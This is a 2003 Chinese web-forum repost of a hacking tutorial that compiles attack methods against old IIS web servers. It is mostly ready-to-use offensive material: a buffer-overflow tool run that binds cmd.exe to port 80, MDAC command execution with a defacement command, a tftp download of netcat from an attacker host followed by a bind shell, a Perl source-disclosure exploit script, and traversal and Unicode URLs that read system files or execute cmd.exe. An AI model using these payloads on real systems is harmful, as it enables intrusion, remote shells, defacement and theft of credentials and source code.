登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网..
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计..
  如何利用终端服务入侵远程计..
  “流光异彩”话小榕
  一次入侵过程
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客教学
有关IIS HACK的一些方法整理
发表日期:2003-08-13作者:[] 出处:  

BY XUNDI<安全焦点>

http://www.xfocus.org

xundi1@xfocus.org

这里整理了一些关于IIS HACK的一些漏洞,供大家参考。

1,介绍

由于这些方法针对通过端口80来操作,所以具有一定的威胁性,因为作为WEB你

这个口总要开的。如果你想一边抽烟一边查漏洞,OK,你下载一些CGI扫描器来

帮助你检查,你可以尝试使用这两个:

  "whisker" by "rain forest puppy" (www.wiretrip.net/rfp).

     "cis" by "mnemonix" (www.cerberus-infosec.co.uk)

  另外你如果要知道目标机器运行的是啥类型的服务程序,你可以使用

  下面的命令:

  telnet <victim> 80

    GET HEAD / HTTP/1.0

  

  就可以返回一些名字和WEB服务程序版本,如果有些服务器把WEB运行在

  8080,81,8000,8001口,你就TELNET相应的口上。

  如果你要知道运行了SSL的WEB服务程序,在WEB服务器和浏览器进行了

  连接的的话,我们就可以使用工具"ssleay":

  s_client -connect <victim>:443

    HEAD / HTTP /1.0

======================================================================

2,一些常用方法:

  

  ========IIS HACK==========

  www.eeye.com的人员发现了一个IIS4.0的缓冲溢出可以允许用户上载

  程序,如netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢

  出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求

  没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序

  在系统中下载和执行程序。

  要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面

  的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器,

  当然你可以是虚拟服务器哦。

  你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应

  的目录下,然后使用iishack.exe来检查目标机器:

  c:\>iishack.exe <victim> 80 <your web server>/ncx.exe

  然后你就使用netcat来连接你要检测的服务器:

  c:\>nc <victim> 80

  如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。

  =========MDAC- 本地命令执行===========

  你可能认为这个漏洞太老了,可网络如此之大,可能还有好多IIS WEB服务

  器存在这个漏洞啦。IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行

  你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下,

  它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,

  其一般默认情况下是SYSTEM用户。关于这个漏洞的描述,很多文章介绍

  的很清楚,这里不做详细解释,你如果要对自己的站点进行检查是否存在

  这个漏洞,你可以通过下面的操作:

  c:\>nc -nw -w 2 <victim> 80

     GET /msadc/msadcs.dll HTTP

  

  如果你得到下面的信息:

  application/x_varg

  就很有可能没有打上补丁并存在此漏洞,你可以使用rain forest puppy

  站上的两个程序进行测试(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl 。

  c:\> mdac.pl -h <victim>

    Please type the NT commandline you want to run (cmd /c assumed):\n

      cmd /c

  OK,如果你要替换对方的主页,你就可以使用下面的方法:

  cmd/c  echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm

  或者其他命令,当然最好的方法我觉得还是使用上载我们的netcat,并

  把CMD.EXE绑定到端口80上,我们可以设置我们自己的TFTP服务程序并把

  nc.exe放上去,然后在执行命令,如:

  cmd/c cd %systemroot%&&tftp -i <evil_hacker> GET nc.exe&&del ftptmp

  && attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe

  然后你就连接到80口,得到一个SHELL口让你浏览。呵呵!

  

  =========Codebrws.asp & Showcode.asp ==================

  Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,

  但不是默认安装的,这个查看器是如果管理员允许查看样例文件作为

  联系而安装的,但是,这个查看器没有很好的限制所访问的文件,远程

  攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意

  以下几点:

  1,Codebrws.asp 和 Showcode.asp默认情况下没有安装。

  2,漏洞仅允许查看文件内容。

  3,这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。

  4,只有同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装

  是个不错的注意,也可能比较好的防止最新的IIS5.0的unicode漏洞).

  5,攻击者需要知道请求的文件名。

  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:

  

  http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/

  iisamples/exair/howitworks/codebrws.asp

  你就可以查看到codebrws.asp的源代码了。

  你也可以使用showcode.asp来查看文件:

  http://www.victim.com/msadc/samples/selector/showcode.asp?

  source=/msadc/../../../../../winnt/win.ini

  当然我想也可以查看一些FTP信息来获得其他的目标器管理员经常使用的

  机器,或许他其他的机器的安全性比WEB差呢;).如:

  http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?

  source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

  =========Null.htw===============

  IIS如果运行了Index Server的话就包含了一个通过Null.htw有关的漏洞,

  就是服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的

  源代码,包伙global.asa里面包含了用户名和密码等敏感信息。工具者

  如果提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,提供逻辑分

  区和ROOT目录的访问。这个"hit-highlighting"功能在Index Server中

  没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意

  文件。Null.htw功能可以从用户输入中获得3个变量:

  CiWebhitsfile

    CiRestriction

    CiHiliteType

  你可以使用下面的方法传递变量来获得如default.asp的源代码:

  http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20

  CiRestriction=none%20&%20&CiHiliteType=full

  其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

  ========webhits.dll & .htw================

  这个hit-highligting功能是由Index Server提供的允许一个WEB用户在

  文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过

  变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序

  来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递

  给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他

  脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

  http://www.victim.com/nosuchfile.htw

  如果你从服务器端获得如下信息:

  format of the QUERY_STRING is invalid

  这就表示你存在这个漏洞。

  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消

  这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw

  文件,一般会发现如下的程序:

  /iissamples/issamples/oop/qfullhit.htw

  /iissamples/issamples/oop/qsumrhit.htw

  /isssamples/exair/search/qfullhit.htw

  /isssamples/exair/search/qsumrhit.htw

  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

  一个攻击者可以使用如下的方法来访问系统中文件的内容:

  http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?

  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

  就会在有此漏洞系统中win.ini文件的内容。

  ===ASP Alternate Data Streams(::$DATA)==================

  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储

  在文件里面的main data stream属性,通过建立一个特殊格式的URL,就

  可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示

  了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。

  其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在

  NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件

  需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,

  WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个FOR IIS

  3.0和4.0的版本补丁,你可以通过这文章来修补这个漏洞:

  "supporting NTFS alternate data streams by asking Windows

  NT to make the file name canonical"

  要查看一些.asp文件的内容,你可以请求如下的URL:

  http://www.victim.com/default.asp::$DATA你就得到了源代码。你

  要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:

  http://focus.silversand.net/newsite/skill/ntfs.txt

  =========ASP Dot Bug====================

  

  这个漏洞是比较早的漏洞了,是Lopht小组在1997年发现的缺陷,这个漏洞

  也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL

  结尾追加一个或者多个点导致泄露ASP源代码。

  http://www.victim.com/sample.asp.

  ======ISM.DLL 缓冲截断漏洞===============

  这个漏洞是由Cerberus Information Security team.最早发现的,它运行

  在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件

  名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,

  会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL

  ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL

  程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送

  一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容.

  除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经

  发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL

  第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行

  多次攻击。

  http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr

  ==========.idc & .ida Bugs=======================

  这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,

  很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?

  后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果

  此.idc不存在,它就返回一些信息给客户端。

  http://www.victim.com/anything.idc 或者 anything.idq

  ============+.htr Bug===========================

  这个漏洞相似由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求

  就会导致文件源代码的泄露:

  http://www.victim.com/global.asa+.htr

  ===========NT Site Server Adsamples 漏洞======

  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者

  可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

  http://www.victim.com/adsamples/config/site.csc

  ==========存在的一些暴力破解威胁.htr程序===========

  IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户

  帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。

  每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个

  .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制

  在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB

  来修改用户的帐号和密码。这个目录物理映射在下面的目录下:

   c:\winnt\system32\inetsrv\iisadmpwd

  Achg.htr

  Aexp.htr

  Aexp2.htr

  Aexp2b.htr

  Aexp3.htr

  Aexp4.htr

  Aexp4b.htr

  Anot.htr

  Anot3.htr

  这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,你

  就豪不客气的删除这个目录先。

  =============Translate:f Bug ====================

  Daniel Docekal在2000,8月15号发布了这个漏洞,(www.securityfocus.com/bid/1578)

  其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,

  当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f

  后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁

  为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0

  上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:

  #############################

  use IO::Socket;       #

  my ($port, $sock,$server); #

  $size=0;          #

  #############################

  #

  $server="$ARGV[0]";

  $s="$server";

  $port="80";

  $cm="$ARGV[1]";

  &connect;

  sub connect {

  if ($#ARGV < 1) {

   howto();

   exit;

  }

  $ver="GET /$cm%5C HTTP/1.0

  Host: $server

  Accept: */*

  Translate: f

  \n\n";

   my($iaddr,$paddr,$proto);

  $iaddr = inet_aton($server) || die "Error: $!";

  $paddr = sockaddr_in($port, $iaddr) || die "Error: $!";

  $proto = getprotobyname('tcp') || die "Error: $!";

  socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:

  $!";

  connect(SOCK, $paddr) || die "Error: $!";

  send(SOCK, $ver, 0) || die "Can't to send packet: $!";

  open(OUT, ">$server.txt");

  print "Dumping $cm to $server.txt \n";

  while(<SOCK>) {

  print OUT <SOCK>;

  }

  sub howto {

  print "type as follows: Trans.pl www.victim.com codetoview.asp \n\n";

  }

  close OUT;

  $n=0;

  $type=2;

  close(SOCK);

  exit(1);

  }

  你可以使用下面的方法来获得源代码:

  Trasn.pl www.victim.com default.asp

  =============IIS存在的Unicode解析错误漏洞====================  

  NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在

  一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,

  如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊

  的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。此文摘自

  http://www.nsfocus.com/sa-06.htm,你可以看到里面更详细的描述。

  你可以使用下面的方法利用这个漏洞:

  (1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能

  列出当前目录的内容:

  http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  (2) 利用这个漏洞查看系统文件内容也是可能的:

  http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

  当然这是针对中文IIS,你也可以使用"%c0%af"或者"%c1%9c"来测试英文IIS版本,

  主要原因是其编码的不同而已。

  当然,还有其中一些漏洞可以供大家来测试,我不能一一举例出来,大家有心的话

  可以出个关于IIS的漏洞记录一个,这样你的数据库就比较充足了,写的仓促,希望

  大家见谅其中的错误。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 有关IIS HACK的一些方法整理
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00745